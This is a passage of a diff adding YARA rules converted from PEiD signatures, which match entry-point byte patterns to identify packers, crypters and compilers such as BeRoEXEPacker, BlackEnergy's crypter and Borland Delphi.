+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E9 01 74 01}
+    condition:
+        $a
+}
+
+rule PEiD_00297_BeRo_Tiny_Pascal____BeRo_
+{
+    meta:
+        description = "[BeRo Tiny Pascal -> BeRo]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 20 43 6F 6D 70 69 6C 65 64 20 62 79 3A 20 42 65 52 6F 54 69 6E 79 50 61 73 63 61 6C 20 2D 20 28 43 29 20 43 6F 70 79 72 69 67 68 74 20 32 30 30 36 2C 20 42 65 6E 6A 61 6D 69 6E 20 27 42 65 52 6F 27 20 52 6F 73 73 65 61 75 78 20}
+    condition:
+        $a
+}
+
+rule PEiD_00298_BeRoEXEPacker_v1_00__DLL_____BeRo___Farbrausch_
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 (DLL) -> BeRo / Farbrausch]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8}
+    condition:
+        $a
+}
+
+rule PEiD_00299_BeRoEXEPacker_v1_00__DLL_____BeRo___Farbrausch_
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 (DLL) -> BeRo / Farbrausch]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8 BA ?? ?? ?? ?? 8D B2}
+    condition:
+        $a
+}
+
+rule PEiD_00300_BeRoEXEPacker_v1_00__DLL_____BeRo___Farbrausch_
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 (DLL) -> BeRo / Farbrausch]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC B2 80 33 DB A4 B3 02 E8 ?? ?? ?? ?? 73 F6 33 C9 E8 ?? ?? ?? ?? 73 1C 33 C0 E8 ?? ?? ?? ?? 73 23 B3 02 41 B0 10}
+    condition:
+        $a
+}
+
+rule PEiD_00301_BeRoEXEPacker_v1_00__LZMA__
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 (LZMA)]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 04 00 00 00 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8}
+    condition:
+        $a
+}
+
+rule PEiD_00302_BeRoEXEPacker_V1_00____BeRo___Sign_by_fly_
+{
+    meta:
+        description = "[BeRoEXEPacker V1.00 -> BeRo ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {BA ?? ?? ?? ?? 8D B2 ?? ?? ?? ?? 8B 46 ?? 85 C0 74 51 03 C2 8B 7E ?? 8B 1E 85 DB 75 02 8B DF 03 DA 03 FA 52 57 50 FF 15 ?? ?? ?? ?? 5F 5A 85 C0 74 2F 8B C8 8B 03 85 C0 74 22 0F BA F0 1F 72 04 8D 44 ?? ?? 51 52 57 50 51 FF 15 ?? ?? ?? ?? 5F 5A 59 85 C0 74 0B AB 83 C3 04 EB D8 83 C6 14 EB AA 61 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00303_BeRoEXEPacker_v1_00____BeRo___Farbrausch_
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 -> BeRo / Farbrausch]"
+        ep_only = "false"
+    strings:
+        $a = {60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 04 00 00 00 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8 BA ?? ?? ?? ?? 8D B2}
+    condition:
+        $a
+}
+
+rule PEiD_00304_BeRoEXEPacker_v1_00____BeRo___Farbrausch_
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 -> BeRo / Farbrausch]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC ?? ?? ?? ?? A4 ?? ?? ?? ?? 00 ?? ?? ?? ?? 33 C9 E8 64 00 00 00 73 1C ?? ?? ?? ?? 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 ?? ?? ?? ?? D4 E8}
+    condition:
+        $a
+}
+
+rule PEiD_00305_BeRoEXEPacker_V1_00____BeRo_
+{
+    meta:
+        description = "[BeRoEXEPacker V1.00 -> BeRo]"
+        ep_only = "false"
+    strings:
+        $a = {BA ?? ?? ?? ?? 8D B2 ?? ?? ?? ?? 8B 46 ?? 85 C0 74 51 03 C2 8B 7E ?? 8B 1E 85 DB 75 02 8B DF 03 DA 03 FA 52 57 50 FF 15 ?? ?? ?? ?? 5F 5A 85 C0 74 2F 8B C8 8B 03 85 C0 74 22 0F BA F0 1F 72 04 8D 44 ?? ?? 51 52 57 50 51 FF 15 ?? ?? ?? ?? 5F 5A 59 85 C0 74}
+    condition:
+        $a
+}
+
+rule PEiD_00306_BeRoEXEPacker_v1_00__LZBRR__
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 [LZBRR]]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC B2 80 33 DB A4 B3 02 E8 ?? ?? ?? ?? 73 F6 33 C9 E8 ?? ?? ?? ?? 73 1C 33 C0 E8 ?? ?? ?? ?? 73 23 B3 02 41 B0 10}
+    condition:
+        $a
+}
+rule PEiD_00307_BeRoEXEPacker_v1_00__LZBRS__
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 [LZBRS]]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 1C 00 00 00 72 03 A4 EB F2 E8 1A 00 00 00 8D 51 FF E8 12 00 00 00 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+    condition:
+        $a
+}
+
+rule PEiD_00308_BeRoEXEPacker_v1_00__LZBRS__
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 [LZBRS]]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 ?? ?? ?? ?? 72 03 A4 EB F2 E8 ?? ?? ?? ?? 8D 51 FF E8 ?? ?? ?? ?? 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+    condition:
+        $a
+}
+
+rule PEiD_00309_BeRoEXEPacker_v1_00_DLL__LZBRS__
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 DLL [LZBRS]]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 1C 00 00 00 72 03 A4 EB F2 E8 1A 00 00 00 8D 51 FF E8 12 00 00 00 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+    condition:
+        $a
+}
+
+rule PEiD_00310_BeRoEXEPacker_v1_00_DLL__LZBRS__
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 DLL [LZBRS]]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 ?? ?? ?? ?? 72 03 A4 EB F2 E8 ?? ?? ?? ?? 8D 51 FF E8 ?? ?? ?? ?? 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+    condition:
+        $a
+}
+
+rule PEiD_00311_BGI_Stroked_Font_v_1_1_
+{
+    meta:
+        description = "[BGI Stroked Font v.1.1]"
+        ep_only = "false"
+    strings:
+        $a = {50 4B 08 08 42 47 49 20 53 74 72 6F 6B 65 64 20 46 6F 6E 74 20 56 31 2E 31}
+    condition:
+        $a
+}
+
+rule PEiD_00312_BlackEnergy_DDoS_Bot_Crypter_
+{
+    meta:
+        description = "[BlackEnergy DDoS Bot Crypter]"
+        ep_only = "true"
+    strings:
+        $a = {55 ?? ?? 81 EC 1C 01 00 00 53 56 57 6A 04 BE 00 30 00 00 56 FF 35 00 20 11 13 6A 00 E8 ?? 03 00 00 ?? ?? 83 C4 10 ?? FF 89 7D F4 0F}
+    condition:
+        $a
+}
+
+rule PEiD_00313_Blade_Joiner_v1_5_
+{
+    meta:
+        description = "[Blade Joiner v1.5]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 C4 E4 FE FF FF 53 56 57 33 C0 89 45 F0 89 85}
+    condition:
+        $a
+}
+
+rule PEiD_00314_BlindSpot_1_0____s134k_
+{
+    meta:
+        description = "[BlindSpot 1.0 -> s134k]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 50 02 00 00 8D 85 B0 FE FF FF 53 56 A3 90 12 40 00 57 8D 85 B0 FD FF FF 68 00 01 00 00 33 F6 50 56 FF 15 24 10 40 00 56 68 80 00 00 00 6A 03 56 56 8D 85 B0 FD FF FF 68 00 00 00 80 50 FF 15 20 10 40 00 56 56 68 00 08 00 00 50 89 45 FC FF 15}
+    condition:
+        $a
+}
+
+rule PEiD_00315_BlindSpot_1_0____s134k_
+{
+    meta:
+        description = "[BlindSpot 1.0 -> s134k]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 50 02 00 00 8D 85 B0 FE FF FF 53 56 A3 90 12 40 00 57 8D 85 B0 FD FF FF 68 00 01 00 00 33 F6 50 56 FF 15 24 10 40 00 56 68 80 00 00 00 6A 03 56 56 8D 85 B0 FD FF FF 68 00 00 00 80 50 FF 15 20 10 40 00 56 56 68 00 08 00 00 50 89 45 FC FF 15 1C 10 40 00 8D 45 F8 8B 1D 18 10 40 00 56 50 6A 34 FF 35 90 12 40 00 FF 75 FC FF D3 85 C0 0F 84 7F 01 00 00 39 75 F8 0F 84 76 01 00 00 A1 90 12 40 00 66 8B 40 30 66 3D 01 00 75 14 8D 85 E4 FE FF FF 68 04 01 00 00 50 FF 15 14 10 40 00 EB 2C 66 3D 02 00 75 14 8D 85 E4 FE FF FF 50 68 04 01 00 00 FF 15 10 10 40 00 EB 12 8D 85 E4 FE FF FF 68 04 01 00 00 50 FF 15 0C 10 40 00 8B 3D 08 10 40 00 8D 85 E4 FE FF FF 68 54 10 40 00 50}
+    condition:
+        $a
+}
+
+rule PEiD_00316_BobPack_v1_00____BoB___BobSoft_
+{
+    meta:
+        description = "[BobPack v1.00 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 0C 24 89 CD 83 E9 06 81 ED ?? ?? ?? ?? E8 3D 00 00 00 89 85 ?? ?? ?? ?? 89 C2 B8 5D 0A 00 00 8D 04 08 E8 E4 00 00 00 8B 70 04 01 D6 E8 76 00 00 00 E8 51 01 00 00 E8 01 01}
+    condition:
+        $a
+}
+
+rule PEiD_00317_BobSoft_Mini_Delphi____BoB___BobSoft_
+{
+    meta:
+        description = "[BobSoft Mini Delphi -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B8}
+    condition:
+        $a
+}
+
+rule PEiD_00318_BobSoft_Mini_Delphi____BoB___BobSoft_
+{
+    meta:
+        description = "[BobSoft Mini Delphi -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B8 ?? ?? ?? ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_00319_BobSoft_Mini_Delphi____BoB___BobSoft_
+{
+    meta:
+        description = "[BobSoft Mini Delphi -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 ?? ?? ?? ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_00320_BookManager_v9510_
+{
+    meta:
+        description = "[BookManager v9510]"
+        ep_only = "true"
+    strings:
+        $a = {FC A3 ?? ?? 89 1E ?? ?? 49 89 0E ?? ?? BB ?? ?? 8C 1F 83 ?? ?? 89 ?? ?? B8 ?? ?? 50 89 ?? ?? F7 D0 50}
+    condition:
+        $a
+}
+
+rule PEiD_00321_BopCrypt_v1_0_
+{
+    meta:
+        description = "[BopCrypt v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 BD ?? ?? ?? ?? E8 ?? ?? 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00322_Borland_C___Borland_Builder_
+{
+    meta:
+        description = "[Borland C / Borland Builder]"
+        ep_only = "false"
+    strings:
+        $a = {3B CF 76 05 2B CF FC F3 AA 59}
+    condition:
+        $a
+}
+
+rule PEiD_00323_Borland_C___1991_
+{
+    meta:
+        description = "[Borland C++ 1991]"
+        ep_only = "true"
+    strings:
+        $a = {2E 8C 06 ?? ?? 2E 8C 1E ?? ?? BB ?? ?? 8E DB 1E E8 ?? ?? 1F}
+    condition:
+        $a
+}
+
+rule PEiD_00324_Borland_C___1992__1994_
+{
+    meta:
+        description = "[Borland C++ 1992, 1994]"
+        ep_only = "true"
+    strings:
+        $a = {8C C8 8E D8 8C 1E ?? ?? 8C 06 ?? ?? 8C 06 ?? ?? 8C 06}
+    condition:
+        $a
+}
+
+rule PEiD_00325_Borland_C___1994_
+{
+    meta:
+        description = "[Borland C++ 1994]"
+        ep_only = "true"
+    strings:
+        $a = {8C CA 2E 89 ?? ?? ?? B4 30 CD 21 8B 2E ?? ?? 8B 1E ?? ?? 8E DA A3 ?? ?? 8C}
+    condition:
+        $a
+}
+
+rule PEiD_00326_Borland_C___DLL_
+{
+    meta:
+        description = "[Borland C++ DLL]"
+        ep_only = "false"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00327_Borland_C___DLL_
+{
+    meta:
+        description = "[Borland C++ DLL]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 ?? ?? ?? ?? A1 ?? ?? ?? ?? C1 E0 02 A3 ?? ?? ?? ?? 8B}
+    condition:
+        $a
+}
+
+rule PEiD_00328_Borland_C___DLL_
+{
+    meta:
+        description = "[Borland C++ DLL]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 A1 C1 E0 02 A3 8B}
+    condition:
+        $a
+}
+
+rule PEiD_00329_Borland_C___for_Win16_1991_
+{
+    meta:
+        description = "[Borland C++ for Win16 1991]"
+        ep_only = "true"
+    strings:
+        $a = {9A FF FF 00 00 0B C0 75 ?? E9 ?? ?? 8C ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? B8 FF FF 50 9A FF FF 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00330_Borland_C___for_Win32_1994_
+{
+    meta:
+        description = "[Borland C++ for Win32 1994]"
+        ep_only = "true"
+    strings:
+        $a = {A1 ?? ?? ?? ?? C1 ?? ?? A3 ?? ?? ?? ?? 83 ?? ?? ?? ?? 75 ?? 57 51 33 C0 BF}
+    condition:
+        $a
+}
+
+rule PEiD_00331_Borland_C___for_Win32_1995_
+{
+    meta:
+        description = "[Borland C++ for Win32 1995]"
+        ep_only = "true"
+    strings:
+        $a = {A1 ?? ?? ?? ?? C1 ?? ?? A3 ?? ?? ?? ?? 57 51 33 C0 BF ?? ?? ?? ?? B9 ?? ?? ?? ?? 3B CF 76}
+    condition:
+        $a
+}
+
+rule PEiD_00332_Borland_C___for_Win32_1999_
+{
+    meta:
+        description = "[Borland C++ for Win32 1999]"
+        ep_only = "false"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90}
+    condition:
+        $a
+}
+
+rule PEiD_00333_Borland_C___for_Win32_1999_
+{
+    meta:
+        description = "[Borland C++ for Win32 1999]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 ?? ?? ?? ?? A1 ?? ?? ?? ?? C1 E0 02 A3 ?? ?? ?? ?? 52}
+    condition:
+        $a
+}
+
+rule PEiD_00334_Borland_C___
+{
+    meta:
+        description = "[Borland C++]"
+        ep_only = "true"
+    strings:
+        $a = {A1 ?? ?? ?? ?? C1 E0 02 A3 ?? ?? ?? ?? 57 51 33 C0 BF ?? ?? ?? ?? B9 ?? ?? ?? ?? 3B CF 76 05 2B CF FC F3 AA 59 5F}
+    condition:
+        $a
+}
+
+rule PEiD_00335_Borland_Delphi_3____Portions_Copyright__c__1983_96_Borland__h__
+{
+    meta:
+        description = "[Borland Delphi 3 -> Portions Copyright (c) 1983,96 Borland (h)]"
+        ep_only = "false"
+    strings:
+        $a = {50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 38 33 2C 39 36 20 42 6F 72 6C 61 6E 64 00}
+    condition:
+        $a
+}
+
+rule PEiD_00336_Borland_Delphi_3____Portions_Copyright__c__1983_97_Borland__h__
+{
+    meta:
+        description = "[Borland Delphi 3 -> Portions Copyright (c) 1983,97 Borland (h)]"
+        ep_only = "false"
+    strings:
+        $a = {50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 38 33 2C 39 37 20 42 6F 72 6C 61 6E 64 00}
+    condition:
+        $a
+}
+
+rule PEiD_00337_Borland_Delphi_5____Portions_Copyright__c__1983_99_Borland__h__
+{
+    meta:
+        description = "[Borland Delphi 5 -> Portions Copyright (c) 1983,99 Borland (h)]"
+        ep_only = "false"
+    strings:
+        $a = {50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 38 33 2C 39 39 20 42 6F 72 6C 61 6E 64 00}
+    condition:
+        $a
+}
+
+rule PEiD_00338_Borland_Delphi_DLL_
+{
+    meta:
+        description = "[Borland Delphi DLL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 B4 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 40}
+    condition:
+        $a
+}
+
+rule PEiD_00339_Borland_Delphi_Setup_Module_
+{
+    meta:
+        description = "[Borland Delphi Setup Module]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 ?? 53 56 57 33 C0 89 45 F0 89 45 D4 89 45 D0 E8}
+    condition:
+        $a
+}
+
+rule PEiD_00340_Borland_Delphi_v2_0_
+{
+    meta:
+        description = "[Borland Delphi v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 0A ?? ?? ?? B8 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_00341_Borland_Delphi_v3_0_
+{
+    meta:
+        description = "[Borland Delphi v3.0]"
+        ep_only = "true"
+    strings:
+        $a = {50 6A ?? E8 ?? ?? FF FF BA ?? ?? ?? ?? 52 89 05 ?? ?? ?? ?? 89 42 04 E8 ?? ?? ?? ?? 5A 58 E8 ?? ?? ?? ?? C3 55 8B EC 33 C0}
+    condition:
+        $a
+}
+
+rule PEiD_00342_Borland_Delphi_v4_0___v5_0_
+{
+    meta:
+        description = "[Borland Delphi v4.0 - v5.0]"
+        ep_only = "true"
+    strings:
+        $a = {50 6A 00 E8 ?? ?? FF FF BA ?? ?? ?? ?? 52 89 05 ?? ?? ?? ?? 89 42 04 C7 42 08 00 00 00 00 C7 42 0C 00 00 00 00 E8 ?? ?? ?? ?? 5A 58 E8 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_00343_Borland_Delphi_v4_0___v5_0_
+{
+    meta:
+        description = "[Borland Delphi v4.0 - v5.0]"
+        ep_only = "true"
+    strings:
+        $a = {50 6A ?? E8 ?? ?? FF FF BA ?? ?? ?? ?? 52 89 05 ?? ?? ?? ?? 89 42 04 C7 42 08 ?? ?? ?? ?? C7 42 0C ?? ?? ?? ?? E8 ?? ?? ?? ?? 5A 58 E8 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_00344_Borland_Delphi_v5_0_KOL_
+{
+    meta:
+        description = "[Borland Delphi v5.0 KOL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 ?? ?? 40 00 E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF 8B C0 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00345_Borland_Delphi_v6_0___v7_0_
+{
+    meta:
+        description = "[Borland Delphi v6.0 - v7.0]"
+        ep_only = "true"
+    strings:
+        $a = {53 8B D8 33 C0 A3 00 ?? ?? ?? 06 A0 0E 80 ?? ?? 0F FA 30 ?? ?? ?? 0A 10 ?? ?? ?? 0A 30 ?? ?? ?? 03 3C 0A 30 ?? ?? ?? 03 3C 0A 30 ?? ?? ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_00346_Borland_Delphi_v6_0___v7_0_
+{
+    meta:
+        description = "[Borland Delphi v6.0 - v7.0]"
+        ep_only = "false"
+    strings:
+        $a = {53 8B D8 33 C0 A3 0? ?? ?? ?0 6A 00 E8 0? ?? ?0 FF A3 0? ?? ?? ?0 A1 0? ?? ?? ?0 A3 0? ?? ?? ?0 33 C0 A3 0? ?? ?? ?0 33 C0 A3 0? ?? ?? ?0 E8}
+    condition:
+        $a
+}
+
+rule PEiD_00347_Borland_Delphi_v6_0___v7_0_
+{
+    meta:
+        description = "[Borland Delphi v6.0 - v7.0]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_00348_Borland_Delphi_v6_0___v7_0_
+{
+    meta:
+        description = "[Borland Delphi v6.0 - v7.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 ?? ?? ?? ?? E8 ?? ?? FB FF A1 ?? ?? ?? ?? 8B ?? E8 ?? ?? FF FF 8B 0D ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 8B 15 ?? ?? ?? ?? E8 ?? ?? FF FF A1 ?? ?? ?? ?? 8B ?? E8 ?? ?? FF FF E8 ?? ?? FB FF 8D 40}
+    condition:
+        $a
+}
+
+rule PEiD_00349_Borland_Delphi_v6_0___v7_0_
+{
+    meta:
+        description = "[Borland Delphi v6.0 - v7.0]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? ?? ?? 83 7D 0C 01 75 ?? 50 52 C6 05 ?? ?? ?? ?? ?? 8B 4D 08 89 0D ?? ?? ?? ?? 89 4A 04}
+    condition:
+        $a
+}
+
+rule PEiD_00350_Borland_Delphi_v6_0_KOL_
+{
+    meta:
+        description = "[Borland Delphi v6.0 KOL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 ?? ?? 40 00 E8 ?? ?? FF FF A1 ?? 72 40 00 33 D2 E8 ?? ?? FF FF A1 ?? 72 40 00 8B 00 83 C0 14 E8 ?? ?? FF FF E8 ?? ?? FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00351_Borland_Delphi_v6_0_
+{
+    meta:
+        description = "[Borland Delphi v6.0]"
+        ep_only = "true"
+    strings:
+        $a = {53 8B D8 33 C0 A3 ?? ?? ?? ?? 6A 00 E8 ?? ?? ?? FF A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? A3 ?? ?? ?? ?? 33 C0 A3 ?? ?? ?? ?? 33 C0 A3 ?? ?? ?? ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_00352_Borland_Delphi_v6_0_
+{
+    meta:
+        description = "[Borland Delphi v6.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 ?? ?? 45 00 E8 ?? ?? ?? FF A1 ?? ?? 45 00 8B 00 E8 ?? ?? FF FF 8B 0D}
+    condition:
+        $a
+}
+
+rule PEiD_00353_Borland_Pascal_v7_0_for_Windows_
+{
+    meta:
+        description = "[Borland Pascal v7.0 for Windows]"
+        ep_only = "true"
+    strings:
+        $a = {9A FF FF 00 00 9A FF FF 00 00 55 89 E5 31 C0 9A FF FF 00 00}
+    condition:
+        $a
+}
+rule PEiD_00354_Borland_Pascal_v7_0_Protected_Mode_
+{
+    meta:
+        description = "[Borland Pascal v7.0 Protected Mode]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? BB ?? ?? 8E D0 8B E3 8C D8 8E C0 0E 1F A1 ?? ?? 25 ?? ?? A3 ?? ?? E8 ?? ?? 83 3E ?? ?? ?? 75}
+    condition:
+        $a
+}
+
+rule PEiD_00355_Borland_Pascal_v7_0_
+{
+    meta:
+        description = "[Borland Pascal v7.0]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 8E D8 8C ?? ?? ?? 8C D3 8C C0 2B D8 8B C4 05 ?? ?? C1 ?? ?? 03 D8 B4 ?? CD 21 0E}
+    condition:
+        $a
+}
+
+rule PEiD_00356_by_Central_Point_Software_
+{
+    meta:
+        description = "[by Central Point Software]"
+        ep_only = "true"
+    strings:
+        $a = {50 51 52 56 57 8B EB 1E 2E}
+    condition:
+        $a
+}
+
+rule PEiD_00357_C_I_Crypt_V0_1____FearlesS_
+{
+    meta:
+        description = "[C.I Crypt V0.1 -> FearlesS]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72}
+    condition:
+        $a
+}
+
+rule PEiD_00358_C_I_Crypt_V0_2____FearlesS_
+{
+    meta:
+        description = "[C.I Crypt V0.2 -> FearlesS]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74}
+    condition:
+        $a
+}
+
+rule PEiD_00359_CA_Visual_Objects_2_0___2_5_
+{
+    meta:
+        description = "[CA Visual Objects 2.0 - 2.5]"
+        ep_only = "true"
+    strings:
+        $a = {89 25 ?? ?? ?? ?? 33 ED 55 8B EC E8 ?? ?? ?? ?? 8B D0 81 E2 FF 00 00 00 89 15 ?? ?? ?? ?? 8B D0 C1 EA 08 81 E2 FF 00 00 00 A3 ?? ?? ?? ?? D1 E0 0F 93 C3 33 C0 8A C3 A3 ?? ?? ?? ?? 68 FF 00 00 00 E8 ?? ?? ?? ?? 6A 00 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? BB}
+    condition:
+        $a
+}
+
+rule PEiD_00360_CA_Visual_Objects_2_0___2_5_
+{
+    meta:
+        description = "[CA Visual Objects 2.0 - 2.5]"
+        ep_only = "true"
+    strings:
